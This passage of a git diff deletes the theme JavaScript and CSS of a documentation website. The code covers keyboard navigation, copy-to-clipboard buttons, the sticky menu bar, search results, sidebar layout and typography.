-            case 'ArrowRight':
-                e.preventDefault();
-                if (html.dir == 'rtl') {
-                    prev();
-                } else {
-                    next();
-                }
-                break;
-            case 'ArrowLeft':
-                e.preventDefault();
-                if (html.dir == 'rtl') {
-                    next();
-                } else {
-                    prev();
-                }
-                break;
-        }
-    });
-})();
-
-(function clipboard() {
-    var clipButtons = document.querySelectorAll('.clip-button');
-
-    function hideTooltip(elem) {
-        elem.firstChild.innerText = "";
-        elem.className = 'clip-button';
-    }
-
-    function showTooltip(elem, msg) {
-        elem.firstChild.innerText = msg;
-        elem.className = 'clip-button tooltipped';
-    }
-
-    var clipboardSnippets = new ClipboardJS('.clip-button', {
-        text: function (trigger) {
-            hideTooltip(trigger);
-            let playground = trigger.closest("pre");
-            return playground_text(playground, false);
-        }
-    });
-
-    Array.from(clipButtons).forEach(function (clipButton) {
-        clipButton.addEventListener('mouseout', function (e) {
-            hideTooltip(e.currentTarget);
-        });
-    });
-
-    clipboardSnippets.on('success', function (e) {
-        e.clearSelection();
-        showTooltip(e.trigger, "Copied!");
-    });
-
-    clipboardSnippets.on('error', function (e) {
-        showTooltip(e.trigger, "Clipboard error!");
-    });
-})();
-
-(function scrollToTop () {
-    var menuTitle = document.querySelector('.menu-title');
-
-    menuTitle.addEventListener('click', function () {
-        document.scrollingElement.scrollTo({ top: 0, behavior: 'smooth' });
-    });
-})();
-
-(function controllMenu() {
-    var menu = document.getElementById('menu-bar');
-
-    (function controllPosition() {
-        var scrollTop = document.scrollingElement.scrollTop;
-        var prevScrollTop = scrollTop;
-        var minMenuY = -menu.clientHeight - 50;
-        // When the script loads, the page can be at any scroll (e.g. if you reforesh it).
-        menu.style.top = scrollTop + 'px';
-        // Same as parseInt(menu.style.top.slice(0, -2), but faster
-        var topCache = menu.style.top.slice(0, -2);
-        menu.classList.remove('sticky');
-        var stickyCache = false; // Same as menu.classList.contains('sticky'), but faster
-        document.addEventListener('scroll', function () {
-            scrollTop = Math.max(document.scrollingElement.scrollTop, 0);
-            // `null` means that it doesn't need to be updated
-            var nextSticky = null;
-            var nextTop = null;
-            var scrollDown = scrollTop > prevScrollTop;
-            var menuPosAbsoluteY = topCache - scrollTop;
-            if (scrollDown) {
-                nextSticky = false;
-                if (menuPosAbsoluteY > 0) {
-                    nextTop = prevScrollTop;
-                }
-            } else {
-                if (menuPosAbsoluteY > 0) {
-                    nextSticky = true;
-                } else if (menuPosAbsoluteY < minMenuY) {
-                    nextTop = prevScrollTop + minMenuY;
-                }
-            }
-            if (nextSticky === true && stickyCache === false) {
-                menu.classList.add('sticky');
-                stickyCache = true;
-            } else if (nextSticky === false && stickyCache === true) {
-                menu.classList.remove('sticky');
-                stickyCache = false;
-            }
-            if (nextTop !== null) {
-                menu.style.top = nextTop + 'px';
-                topCache = nextTop;
-            }
-            prevScrollTop = scrollTop;
-        }, { passive: true });
-    })();
-    (function controllBorder() {
-        function updateBorder() {
-            if (menu.offsetTop === 0) {
-                menu.classList.remove('bordered');
-            } else {
-                menu.classList.add('bordered');
-            }
-        }
-        updateBorder();
-        document.addEventListener('scroll', updateBorder, { passive: true });
-    })();
-})();
diff --git a/theme/css/chrome.css b/theme/css/chrome.css
deleted file mode 100644
index fe99ae2a0de..00000000000
--- a/theme/css/chrome.css
+++ /dev/null
@@ -1,1670 +0,0 @@
-/* CSS for UI elements (a.k.a. chrome) */
-
-html {
-    scrollbar-color: var(--scrollbar) var(--bg);
-}
-#searchresults a,
-.content a:link,
-a:visited,
-a > .hljs {
-    color: var(--links);
-}
-
-/*
-    body-container is necessary because mobile browsers don't seem to like
-    overflow-x on the body tag when there is a <meta name="viewport"> tag.
-*/
-#body-container {
-    /*
-        This is used when the sidebar pushes the body content off the side of
-        the screen on small screens. Without it, dragging on mobile Safari
-        will want to reposition the viewport in a weird way.
-    */
-    overflow-x: clip;
-}
-
-/* Menu Bar */
-
-#menu-bar,
-#menu-bar-hover-placeholder {
-    z-index: 106;
-    margin: auto calc(0px - var(--page-padding));
-}
-#menu-bar {
-    position: relative;
-    background-color: var(--bg);
-    border-block-end-color: var(--table-border-color);
-    border-block-end-width: 1px;
-    border-block-end-style: solid;
-}
-.menu-bar-container {
-    display: flex;
-    flex-wrap: wrap;
-    margin-left: auto;
-    margin-right: auto;
-    max-width: var(--container-max-width);
-    justify-content: space-between;
-}
-.menu-bar-link, .menu-bar-link:visited {
-    color: var(--menu-bar-link-color);
-    font-size: 14px;
-}
-.menu-bar-link:hover {
-    color: var(--menu-bar-link-color-hover);
-}
-.menu-bar-link-request-update,
-.menu-bar-link-request-update:visited {
-    display: inline-flex;
-    align-items: center;
-    border: 1px solid color-mix(in srgb, var(--links) 45%, transparent);
-    border-radius: 999px;
-    padding: 5px 11px;
-    color: var(--menu-bar-link-color-hover);
-    background:
-        linear-gradient(135deg,
-            color-mix(in srgb, var(--links) 20%, transparent),
-            color-mix(in srgb, var(--sidebar-active) 16%, transparent));
-    font-weight: 700;
-    box-shadow: inset 0 0 0 1px color-mix(in srgb, #ffffff 10%, transparent);
-}
-.menu-bar-link-request-update:hover {
-    color: var(--menu-bar-link-color-hover);
-    border-color: color-mix(in srgb, var(--links) 70%, transparent);
-    background:
-        linear-gradient(135deg,
-            color-mix(in srgb, var(--links) 30%, transparent),
-            color-mix(in srgb, var(--sidebar-active) 24%, transparent));
-}
-#menu-bar.sticky,
-#menu-bar-hover-placeholder:hover + #menu-bar,
-#menu-bar:hover,
-html.sidebar-visible #menu-bar,
-body.sidebar-visible #menu-bar {
-    position: -webkit-sticky;
-    position: sticky;
-    top: 0 !important;
-}
-#menu-bar-hover-placeholder {
-    position: sticky;
-    position: -webkit-sticky;
-    top: 0;
-    height: var(--menu-bar-height);
-}
-#menu-bar.bordered {
-    border-block-end-color: var(--table-border-color);
-}
-#menu-bar i{
-    position: relative;
-    margin: 0 4px;
-    z-index: 10;
-    cursor: pointer;
-    transition: color 0.5s;
-}
-@media only screen and (max-width: 420px) {
-    #menu-bar i, #menu-bar .icon-button {
-        padding: 0 5px;
-    }
-}
-
-.right-buttons .icons {
-    display: flex;
-    flex-direction: row;
-    flex-wrap: wrap;
-    column-gap: 0.5rem;
-}
-
-.mobile-toc-toggle {
-    display: none;
-}
-@media only screen and (max-width:799px) {
-#mobile-toc-toggle {
-        display: inline-flex !important;
-        align-items: center;
-        justify-content: center;
-        width: 32px;
-        height: 32px;
-        border: 1px solid var(--table-border-color);
-        border-radius: 6px;
-        background: color-mix(in srgb, var(--bg) 85%, transparent);
-    color: var(--fg);
-}
-    #mobile-toc-toggle .mobile-toc-icon {
-        font-size: 16px;
-        line-height: 1;
-    }
-}
-
-.icon-button {
-    border: none;
-    background: var(--bg);
-    padding: 4px;
-    color: inherit;
-    border-radius: 5px;
-    z-index: 10;
-    cursor: pointer;
-    transition: color 0.5s;
-}
-.icon-button:hover {
-    background: var(--theme-hover);
-}
-.icon-button i {
-    margin: 0;
-}
-
-.right-buttons {
-    margin: 0 15px;
-    display: flex;
-    flex-wrap: wrap;
-    column-gap: 1.25rem;
-    align-items: center;
-}
-.right-buttons a {
-    text-decoration: none;
-}
-.menu-socials {
-    position: relative;
-    display: inline-flex;
-    align-items: center;
-}
-.menu-socials-toggle {
-    display: inline-flex;
-    align-items: center;
-    gap: 6px;
-    border: 0;
-    padding: 0;
-    font: inherit;
-    background: transparent;
-    cursor: pointer;
-}
-.menu-socials-caret {
-    font-size: 14px;
-    line-height: 1;
-    opacity: 0.9;
-}
-.menu-socials-popup {
-    position: absolute;
-    right: 0;
-    top: 30px;
-    z-index: 105;
-    border-radius: 5px;
-    font-size: 14px;
-    color: var(--fg);
-    background: var(--bg);
-    border: 1px solid var(--table-border-color);
-    margin: 0;
-    padding: 0;
-    display: none;
-    flex-direction: column;
-    min-width: 140px;
-    overflow: hidden;
-}
-.menu-socials:hover .menu-socials-popup,
-.menu-socials:focus-within .menu-socials-popup {
-    display: flex;
-}
-.menu-socials-popup .menu-bar-link {
-    display: inline-flex;
-    align-items: center;
-    gap: 8px;
-    border: 0;
-    margin: 0;
-    padding: 8px 20px;
-    line-height: 25px;
-    white-space: nowrap;
-    text-align: start;
-    color: inherit;
-    background: inherit;
-    font-size: inherit;
-}
-.menu-socials-popup .menu-bar-link i {
-    width: 16px;
-    text-align: center;
-}
-.menu-socials-popup .menu-bar-link:hover {
-    background-color: var(--theme-hover);
-}
-
-@media only screen and (min-width:800px) {
-    #menubar-collapse {
-        display: flex !important;
-        flex-wrap: wrap;
-        column-gap: 1.25rem;
-        align-items: center;
-    }
-    
-    #menubar-collapse-toggle {
-        display: none !important;
-    }
-
-    #menubar-collapse-popup{
-        display: none !important;
-    }
-}
-@media only screen and (max-width:799px) {
-    #menubar-collapse {
-        display: none !important;
-    }
-    
-    #menubar-collapse-toggle {
-        display: inline-flex !important;
-        align-items: center;
-        justify-content: center;
-        visibility: visible;
-        opacity: 1;
-        width: 32px;
-        height: 32px;
-        border: 1px solid var(--table-border-color);
-        border-radius: 6px;
-        background: color-mix(in srgb, var(--bg) 85%, transparent);
-        color: var(--fg);
-    }
-    #menubar-collapse-toggle i {
-        font-size: 16px;
-    }
-    #search-toggle {
-        display: none !important;
-    }
-}
-
-/* Collapse Menu Popup */
-
-#menubar-collapse-toggle {
-    position: relative;
-    gap: 6px;
-    display: inline-flex;
-    align-items: center;
-    justify-content: center;
-    color: var(--fg);
-}
-.menu-hamburger {
-    font-size: 18px;
-    line-height: 1;
-    font-weight: 700;
-    display: inline-flex;
-    align-items: center;
-    justify-content: center;
-    width: 18px;
-    height: 18px;
-}
-#menubar-collapse-popup {
-    position: absolute;
-    right: 0px;
-    top: 35px;
-    z-index: 105;
-    border-radius: 5px;
-    font-size: 14px;
-    color: var(--fg);
-    background: var(--bg);
-    border: 1px solid var(--table-border-color);
-    margin: 0;
-    padding: 0px;
-    display: none;
-    flex-direction: column;
-    /* Don't let the children's background extend past the rounded corners. */
-    overflow: hidden;
-    max-height: 70vh;
-    overflow-y: auto;
-}
-#menubar-collapse-popup .menu-theme-toggle {
-    display: flex;
-    gap: 8px;
-    padding: 8px 12px;
-    border-top: 1px solid var(--table-border-color);
-}
-#menubar-collapse-popup .menu-action {
-    display: inline-flex;
-    align-items: center;
-    gap: 8px;
-}
-#menubar-collapse-popup .menu-action i {
-    font-size: 14px;
-}
-.menu-icon {
-    font-size: 14px;
-    line-height: 1;
-}
-#menubar-collapse-popup .menu-theme-btn {
-    display: inline-flex;
-    align-items: center;
-    justify-content: center;
-    width: 32px;
-    height: 32px;
-    border-radius: 8px;
-    border: 1px solid var(--table-border-color);
-    background: color-mix(in srgb, var(--bg) 85%, transparent);
-    color: var(--fg);
-    cursor: pointer;
-}
-#menubar-collapse-popup .menu-theme-btn:hover {
-    color: var(--sidebar-active);
-    background: color-mix(in srgb, var(--links) 16%, transparent);
-}
-
-#menubar-collapse-popup.show-translations #menubar-languages-popup {
-    position: static;
-    display: flex !important;
-    margin: 0;
-    border: 0;
-    border-top: 1px solid var(--table-border-color);
-    width: 100%;
-    max-height: 50vh;
-    overflow: auto;
-    background: transparent;
-}
-#menubar-collapse-popup.show-socials #menubar-socials-popup {
-    display: flex;
-}
-#menubar-socials-popup {
-    display: none;
-    flex-direction: column;
-    border-top: 1px solid var(--table-border-color);
-    background: transparent;
-}
-#menubar-collapse-popup #menubar-socials-popup .menu-bar-link {
-    padding-left: 34px;
-}
-#menubar-socials-popup .menu-bar-link i {
-    width: 16px;
-    text-align: center;
-}
-#menubar-collapse-popup .menu-bar-link {
-    border: 0;
-    margin: 0;
-    padding: 8px 20px;
-    line-height: 25px;
-    white-space: nowrap;
-    text-align: start;
-    cursor: pointer;
-    color: inherit;
-    background: inherit;
-    font-size: inherit;
-}
-#menubar-collapse-popup .menu-bar-link-request-update,
-#menubar-collapse-popup .menu-bar-link-request-update:visited {
-    margin: 6px 8px;
-    padding: 8px 12px;
-    color: var(--fg);
-    background:
-        linear-gradient(135deg,
-            color-mix(in srgb, var(--links) 18%, var(--bg)),
-            color-mix(in srgb, var(--sidebar-active) 14%, var(--bg)));
-}
-#menubar-collapse-popup .menu-bar-link:hover {
-    background-color: var(--theme-hover);
-}
-#menubar-collapse-popup .menu-bar-link-request-update:hover {
-    color: var(--menu-bar-link-color-hover);
-    background:
-        linear-gradient(135deg,
-            color-mix(in srgb, var(--links) 28%, var(--bg)),
-            color-mix(in srgb, var(--sidebar-active) 22%, var(--bg)));
-}
-
-/* Languages Menu Popup */
-
-@media only screen and (max-width:799px) {
-    #menubar-languages-toggle span {
-        display: none !important;
-    }
-}
-@media only screen and (max-width:799px) {
-    #theme-wrapper.theme-wrapper--menubar {
-        display: none;
-    }
-    #menubar-languages-toggle {
-        display: none;
-    }
-}
-
-#menubar-languages-toggle {
-    position: relative;
-}
-.translations-caret {
-    margin-left: 6px;
-    font-size: 14px;
-    line-height: 1;
-    opacity: 0.9;
-}
-
-#menubar-languages-popup {
-    position: absolute;
-    right: 0px;
-    top: 35px;
-    z-index: 105;
-    border-radius: 5px;
-    font-size: 14px;
-    color: var(--fg);
-    background: var(--bg);
-    border: 1px solid var(--table-border-color);
-    margin: 0;
-    padding: 0px;
-    display: none;
-    flex-direction: column;
-    max-height: 300px;
-    width: 150px;
-    overflow: scroll;
-}
-#menubar-languages-popup .menu-bar-link {
-    border: 0;
-    margin: 0;
-    padding: 8px 20px;
-    line-height: 25px;
-    white-space: nowrap;
-    text-align: start;
-    cursor: pointer;
-    color: inherit;
-    background: inherit;
-    font-size: inherit;
-}
-#menubar-languages-popup .menu-bar-link:hover {
-    background-color: var(--theme-hover);
-}
-
-.left-buttons {
-    display: flex;
-    margin: 0 5px;  
-    align-items: center;
-}
-html:not(.js) .left-buttons button {
-    display: none;
-}
-
-.menu-title {
-    display: inline-flex;
-    align-items: center;
-    gap: 8px;
-    font-weight: 600;
-    font-size: 1.7rem;
-    line-height: 1;
-    text-align: center;
-    margin: 0;
-    flex: 1;
-    height: var(--menu-bar-height);
-    white-space: nowrap;
-    overflow: hidden;
-    text-overflow: ellipsis;
-    cursor: pointer;
-    color: var(--fg);
-}
-.menu-title-logo {
-    width: auto;
-    height: 26px;
-    vertical-align: middle;
-}
-@media only screen and (max-width:799px) {
-    .menu-title {
-        font-size: 1.2rem;
-    }
-    .menu-title-logo {
-        height: 22px;
-        margin-right: 6px;
-    }
-}
-
-.menu-bar,
-.menu-bar:visited,
-.nav-chapters,
-.nav-chapters:visited,
-.mobile-nav-chapters,
-.mobile-nav-chapters:visited,
-.menu-bar .icon-button,
-.menu-bar a i {
-    color: var(--icons) !important;
-}
-
-.menu-bar i:hover,
-.menu-bar .icon-button:hover,
-.nav-chapters:hover,
-.mobile-nav-chapters i:hover {
-    color: var(--icons-hover) !important;
-    text-decoration: none !important;
-}
-
-/* Nav Icons */
-
-.nav-chapters {
-    font-size: 2.5em;
-    text-align: center;
-    text-decoration: none !important;
-    padding: 2rem;
-    border-radius: 1rem;
-    border: 1px solid var(--table-border-color);
-
-    display: flex;
-    justify-content: center;
-    align-content: center;
-    flex-direction: row;
-
-    transition: color 0.5s, background-color 0.5s;
-}
-
-.nav-chapters:hover {
-    text-decoration:  none !important;
-}
-
-.nav-wrapper {
-    margin-block-start: 50px;
-    display: none;
-}
-
-.mobile-nav-chapters {
-    font-size: 2.5em;
-    text-align: center;
-    text-decoration: none;
-    width: 90px;
-    border-radius: 5px;
-    border: 1px solid var(--table-border-color);
-}
-
-/* Only Firefox supports flow-relative values */
-.previous { float: left; }
-[dir=rtl] .previous { float: right; }
-
-/* Only Firefox supports flow-relative values */
-.next {
-    float: right;
-    right: var(--page-padding);
-}
-[dir=rtl] .next {
-    float: left;
-    right: unset;
-    left: var(--page-padding);
-}
-
-/* Use the correct buttons for RTL layouts*/
-[dir=rtl] .previous i.fa-angle-left:before {content:"\f105";}
-[dir=rtl] .next i.fa-angle-right:before { content:"\f104"; }
-
-@media only screen and (max-width: 1080px) {
-    .nav-wide-wrapper { display: none; }
-    .nav-wrapper { display: block; }
-}
-
-/* sidebar-visible */
-@media only screen and (max-width: 1380px) {
-    #sidebar-toggle-anchor:checked ~ .page-wrapper .nav-wide-wrapper { display: none; }
-    #sidebar-toggle-anchor:checked ~ .page-wrapper .nav-wrapper { display: block; }
-}
-
-/* Inline code */
-
-:not(pre) > .hljs {
-    display: inline;
-    padding: 0.1em 0.3em;
-    border-radius: 3px;
-}
-
-:not(pre):not(a) > .hljs {
-    color: var(--inline-code-color);
-    overflow-x: initial;
-}
-
-a:hover > .hljs {
-    text-decoration: underline;
-}
-
-pre {
-    position: relative;
-}
-pre > .buttons {
-    position: absolute;
-    z-index: 100;
-    right: 0px;
-    top: 2px;
-    margin: 0px;
-    padding: 2px 0px;
-
-    color: var(--icons);
-    cursor: pointer;
-    visibility: hidden;
-    opacity: 0;
-    transition: visibility 0.1s linear, opacity 0.1s linear;
-}
-pre:hover > .buttons {
-    visibility: visible;
-    opacity: 1
-}
-pre > .buttons :hover {
-    color: var(--icons-hover);
-    border-color: var(--table-border-color);
-    background-color: var(--theme-hover);
-}
-pre > .buttons i {
-    margin-inline-start: 8px;
-}
-pre > .buttons button {
-    cursor: inherit;
-    margin: 0px 5px;
-    padding: 4px 4px 3px 5px;
-    font-size: 12px;
-
-    border-style: solid;
-    border-width: 1px;
-    border-radius: 4px;
-    border-color: var(--table-border-color);
-    background-color: var(--theme-hover);
-    transition: 100ms;
-    transition-property: color,border-color,background-color;
-    color: var(--icons);
-}
-
-pre > .buttons button.clip-button {
-    padding: 2px 4px 0px 6px;
-}
-
-pre > .buttons button.clip-button::before {
-    content: "COPY";
-    font-size: 12px;
-    color: var(--icons);
-}
-
-pre > .buttons button.clip-button:hover::before {
-    color: var(--icons-hover);
-}
-
-@media (pointer: coarse) {
-    pre > .buttons button {
-        /* On mobile, make it easier to tap buttons. */
-        padding: 0.3rem 1rem;
-    }
-
-    .sidebar-resize-indicator {
-        /* Hide resize indicator on devices with limited accuracy */
-        display: none;
-    }
-}
-pre > code {
-    display: block;
-    padding: 1rem;
-}
-
-/* FIXME: ACE editors overlap their buttons because ACE does absolute
-   positioning within the code block which breaks padding. The only solution I
-   can think of is to move the padding to the outer pre tag (or insert a div
-   wrapper), but that would require fixing a whole bunch of CSS rules.
-*/
-.hljs.ace_editor {
-  padding: 0rem 0rem;
-}
-
-pre > .result {
-    margin-block-start: 10px;
-}
-
-/* Search */
-
-#searchresults a {
-    text-decoration: none;
-}
-
-mark {
-    border-radius: 2px;
-    padding-block-start: 0;
-    padding-block-end: 1px;
-    padding-inline-start: 3px;
-    padding-inline-end: 3px;
-    margin-block-start: 0;
-    margin-block-end: -1px;
-    margin-inline-start: -3px;
-    margin-inline-end: -3px;
-    background-color: var(--search-mark-bg);
-    transition: background-color 300ms linear;
-    cursor: pointer;
-}
-
-mark.fade-out {
-    background-color: rgba(0,0,0,0) !important;
-    cursor: auto;
-}
-
-
-#search-wrapper {
-    inset: 0;
-    backdrop-filter: blur(100px);
-    z-index: 102;
-    position: fixed; 
-    overflow-y: scroll;
-    overscroll-behavior: contain;
-}
-
-#search-wrapper>div {
-    max-height: 80%;
-    height: 80%;
-    transform: translateY(-50%);
-    top: 50%;
-    position: relative;
-    /* overflow: scroll; */
-    overscroll-behavior: contain;
-    margin-left: auto;
-    margin-right: auto;
-    max-width: var(--content-max-width);
-    background-color: var(--bg);
-    border: 1px solid var(--table-border-color);
-    border-radius: 8px;
-    display: flex;
-    flex-direction: column;
-}
-
-.searchbar-outer {
-    border-bottom: 1px solid var(--table-border-color);
-    border-radius: 8px 8px 0 0;
-}
-
-.searchbar-outer span {
-    position: absolute;
-    top: 12px;
-    left: 15px;
-    font-size: 15px;  
-    color: var(--searchbar-fg);
-}
-
-#searchbar {
-    width: 100%;
-    padding: 10px 16px;
-    transition: box-shadow 300ms ease-in-out;
-    background-color: var(--searchbar-bg);
-    color: var(--searchbar-fg);
-    border: none;
-    border-radius: 8px 8px 0 0;
-    text-indent: 25px;
-}
-
-#searchbar:focus,
-#searchbar.active {
-    outline: none;
-}
-
-.searchresults-header {
-    font-weight: normal;
-    font-size: .7em;
-    padding-block-start: 15px;
-    padding-block-end: 0;
-    padding-inline-start: 20px;
-    padding-inline-end: 20px;
-    color: var(--searchresults-header-fg);
-    overflow-y: scroll;
-    display: none;
-}
-
-.searchresults-outer {
-    overflow: scroll;
-    overscroll-behavior: contain;
-    border-radius: 0 0 8px 8px;
-}
-
-ul#searchresults {
-    list-style: none;
-    max-height: 100%;
-    margin: 0;
-    padding: 0;
-}
-ul#searchresults li {
-    border-radius: 0;
-    border-bottom: 1px solid var(--table-border-color);
-    display: flex;
-    flex-direction: row;
-    justify-content: space-between;
-}
-ul#searchresults li:last-child {
-    border-bottom: none;
-}
-ul#searchresults li.focus {
-    background-color: var(--searchresults-li-bg);
-}
-ul#searchresults li a {
-    padding: 15px;
-    color: var(--fg) !important;
-    background-color: var(--bg);
-    font-weight: bold;
-    width: -moz-available;          /* WebKit-based browsers will ignore this. */
-    width: -webkit-fill-available;  /* Mozilla-based browsers will ignore this. */
-    width: fill-available;
-}
-ul#searchresults li a:hover {
-    background-color: var(--theme-hover);
-}
-ul#searchresults li a span.teaser {
-    display: block;
-    clear: both;
-    margin-block-start: 5px;
-    margin-block-end: 0;
-    margin-inline-start: 20px;
-    margin-inline-end: 0;
-    padding-inline-start: 10px;
-    font-size: 0.8em;
-    color: var(--icons-hover) !important;
-    font-weight: 100;
-    border-left: 3px solid var(--icons-hover);
-}
-ul#searchresults li a span.teaser em {
-    font-weight: bold;
-    font-style: normal;
-    color: var(--icons) !important;
-}
-
-/* Container */
-@media only screen and (max-width:1439px) {
-    .container {
-        margin-left: auto;
-        margin-right: auto;
-        max-width: var(--container-max-width);
-        flex-direction: row;
-        display: flex;
-        top: var(--menu-bar-height);
-    }
-    .content{
-        flex: 1 1 0
-    }
-    .content main {
-        margin-inline-start: auto;
-        margin-inline-end: auto;
-        max-width: 100%;
-    }
-}
-
-@media only screen and (min-width:1440px) {
-    .container {
-        margin-left: auto;
-        margin-right: auto;
-        max-width: var(--container-max-width);
-        flex-direction: row;
-        display: flex;
-        top: var(--menu-bar-height);
-        justify-content: space-between;
-    }
-}
-
-@media only screen and (min-width:800px) {
-    .sidebar-float-toggle {
-        position: fixed;
-        top: calc(var(--menu-bar-height) + 90px);
-        width: 28px;
-        height: 28px;
-        border-radius: 9999px;
-        border: 1px solid color-mix(in srgb, var(--sidebar-active) 50%, var(--table-border-color));
-        background: color-mix(in srgb, var(--bg) 60%, transparent);
-        color: var(--sidebar-active);
-        display: inline-flex;
-        align-items: center;
-        justify-content: center;
-        cursor: pointer;
-        z-index: 12;
-        transition: transform 0.2s ease, background-color 0.2s ease, color 0.2s ease;
-    }
-    .sidebar-float-toggle .toggle-chevron {
-        font-size: 12px;
-        font-weight: 700;
-        letter-spacing: -0.08em;
-        text-shadow: 0 0 8px color-mix(in srgb, var(--sidebar-active) 60%, transparent);
-    }
-    .sidebar-float-toggle:hover {
-        background-color: color-mix(in srgb, var(--sidebar-active) 12%, transparent);
-        color: var(--sidebar-active);
-        transform: translateX(2px);
-    }
-    #sidebar-toggle-anchor:not(:checked) ~ .page-wrapper .page #container .sidebar-float-toggle {
-        transform: translateX(-6px);
-    }
-    #sidebar-toggle-anchor:not(:checked) ~ .page-wrapper .page #container .sidebar-float-toggle .toggle-chevron {
-        transform: rotate(180deg);
-    }
-}
-
-#sidebar-toggle-anchor:not(:checked) ~ .page-wrapper .page #container {
-    justify-content: center;
-}
-
-#sidebar-toggle-anchor:not(:checked) ~ .page-wrapper .page #container .content {
-    margin-left: auto;
-    margin-right: auto;
-}
-
-@media only screen and (max-width:799px) {
-    .sidebar-float-toggle {
-        position: fixed;
-        top: calc(var(--menu-bar-height) + 10px);
-        width: 28px;
-        height: 28px;
-        border-radius: 9999px;
-        border: 1px solid color-mix(in srgb, var(--sidebar-active) 50%, var(--table-border-color));
-        background: color-mix(in srgb, var(--bg) 60%, transparent);
-        color: var(--sidebar-active);
-        display: inline-flex;
-        align-items: center;
-        justify-content: center;
-        cursor: pointer;
-        z-index: 110;
-        transition: transform 0.2s ease, background-color 0.2s ease, color 0.2s ease;
-    }
-    .sidebar-float-toggle .toggle-chevron {
-        font-size: 12px;
-        font-weight: 700;
-        letter-spacing: -0.08em;
-        text-shadow: 0 0 8px color-mix(in srgb, var(--sidebar-active) 60%, transparent);
-    }
-    #sidebar-toggle-anchor:not(:checked) ~ .page-wrapper .page #container .sidebar-float-toggle .toggle-chevron {
-        transform: rotate(180deg);
-    }
-}
-
-@media only screen and (max-width:799px) {
-    #sidebar-toggle-anchor:checked ~ .page-wrapper .page #container .sidebar-float-toggle {
-        left: calc(100vw - 34px);
-    }
-}
-
-/* Sidebar */
-@media only screen and (min-width:800px) {
-    .sidebar {
-        position: sticky;
-        top: 4rem;
-        height: calc(100vh - 4rem);
-        width: var(--sidebar-width);
-        font-size: 0.875em;
-        box-sizing: border-box;
-        -webkit-overflow-scrolling: touch;
-        overscroll-behavior: contain;
-        background-color: transparent;
-        color: var(--sidebar-fg);
-    }
-}
-@media only screen and (min-width:1440px) {
-    #sidebar-toggle{
-        display: none !important;
-    }
-}
-@media only screen and (max-width:799px) {
-    .sidebar {
-        position: fixed;
-        bottom: 0;
-        left: 0;
-        right: 0;
-        top: var(--menu-bar-height);
-        font-size: 0.875em;
-        box-sizing: border-box;
-        -webkit-overflow-scrolling: touch;
-        overscroll-behavior: contain;
-        background-color: transparent;
-        color: var(--sidebar-fg);
-        z-index: 105;
-    }
-}
-@media only screen and (max-width:799px) {
-    #sidebar {
-        display: none;
-    }
-    #sidebar-toggle {
-        display: none !important;
-    }
-    .sidebar-float-toggle {
-        display: none !important;
-    }
-    #mobile-toc-toggle {
-        display: inline-flex !important;
-    }
-    #sidebar-toggle-anchor:checked ~ .page-wrapper .page #container #sidebar {
-        display: block !important;
-    }
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diff --git a/theme/css/general.css b/theme/css/general.css
deleted file mode 100644
index 6f2ca17e3fa..00000000000
--- a/theme/css/general.css
+++ /dev/null
@@ -1,528 +0,0 @@
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-html.motion-paused .grid-overlay,
-html.motion-paused .particle,
-html.motion-paused #ht-ai-btn {
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-html.motion-reduced .bg-animation,
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-@media (prefers-reduced-motion: reduce) {
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-@keyframes grid-float {
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-@keyframes float-particle {
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-    10% { opacity: 0.6; }
-    90% { opacity: 0.6; }
-    100% { transform: translate3d(calc(var(--particle-x) * 1.5), -120vh, 0) rotate(720deg); opacity: 0; }
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-code {
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-/* make wide tables scroll if they overflow */
-.table-wrapper {
-    overflow-x: auto;
-}
-
-/* Don't change font size in headers. */
-h1 code, h2 code, h3 code, h4 code, h5 code, h6 code {
-    font-size: unset;
-}
-
-.left { float: left; }
-.right { float: right; }
-.boring { opacity: 0.6; }
-.hide-boring .boring { display: none; }
-.hidden { display: none !important; }
-
-h2, h3 { margin-block-start: 2.5em; }
-h4, h5 { margin-block-start: 2em; }
-
-.header + .header h3,
-.header + .header h4,
-.header + .header h5 {
-    margin-block-start: 1em;
-}
-
-h1, h2, h3, h4, h5, h6 {
-    font-family: var(--heading-font);
-    letter-spacing: -0.01em;
-    line-height: 1.2;
-}
-
-h1 { font-size: clamp(2.6rem, 2.2rem + 1.5vw, 3.6rem); }
-h2 { font-size: clamp(2.1rem, 1.8rem + 1vw, 2.8rem); }
-h3 { font-size: clamp(1.8rem, 1.6rem + 0.6vw, 2.2rem); }
-h4 { font-size: 1.7rem; }
-h5 { font-size: 1.5rem; }
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-h1:target::before,
-h2:target::before,
-h3:target::before,
-h4:target::before,
-h5:target::before,
-h6:target::before {
-    display: inline-block;
-    content: "»";
-    margin-inline-start: -30px;
-    width: 30px;
-}
-
-/* This is broken on Safari as of version 14, but is fixed
-   in Safari Technology Preview 117 which I think will be Safari 14.2.
-   https://bugs.webkit.org/show_bug.cgi?id=218076
-*/
-:target {
-    /* Safari does not support logical properties */
-    scroll-margin-top: calc(var(--menu-bar-height) + 0.5em);
-}
-
-.page {
-    outline: 0;
-    padding: 0 var(--page-padding);
-    margin-block-start: calc(0px - var(--menu-bar-height)); /* Compensate for the #menu-bar-hover-placeholder */
-}
-.page-wrapper {
-    box-sizing: border-box;
-    background-color: transparent;
-    position: relative;
-    z-index: 5;
-}
-.no-js .page-wrapper,
-.js:not(.sidebar-resizing) .page-wrapper {
-    transition: margin-left 0.3s ease, transform 0.3s ease; /* Animation: slide away */
-}
-[dir=rtl] .js:not(.sidebar-resizing) .page-wrapper {
-    transition: margin-right 0.3s ease, transform 0.3s ease; /* Animation: slide away */
-}
-
-.content {
-    overflow-y: auto;
-    padding: 10px 10px 60px 10px;
-}
-.content main {
-    margin-inline-start: auto;
-    margin-inline-end: auto;
-    max-width: var(--content-max-width);
-}
-.content nav {
-    margin-inline-start: auto;
-    margin-inline-end: auto;
-    max-width: var(--content-max-width);
-    margin-top: 24px;
-}
-.content p,
-.content ol,
-.content ul {
-    line-height: 1.7;
-}
-.content p {
-    margin: 0 0 1.2em 0;
-}
-.content a { text-decoration: none; }
-.content a:hover { text-decoration: underline; }
-.content img, .content video { max-width: 100%; }
-.content .header:link,
-.content .header:visited {
-    color: var(--fg);
-}
-.content .header:link,
-.content .header:visited:hover {
-    text-decoration: none;
-}
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-table {
-    margin: 0 auto;
-    border-collapse: collapse;
-    font-size: 0.95em;
-}
-table td {
-    padding: 6px 18px;
-    border: 1px var(--table-border-color) solid;
-}
-table thead {
-    background: var(--table-header-bg);
-}
-table thead td {
-    font-weight: 700;
-    border: none;
-}
-table thead th {
-    padding: 3px 20px;
-}
-table thead tr {
-    border: 1px var(--table-header-bg) solid;
-}
-/* Alternate background colors for rows */
-table tbody tr:nth-child(2n) {
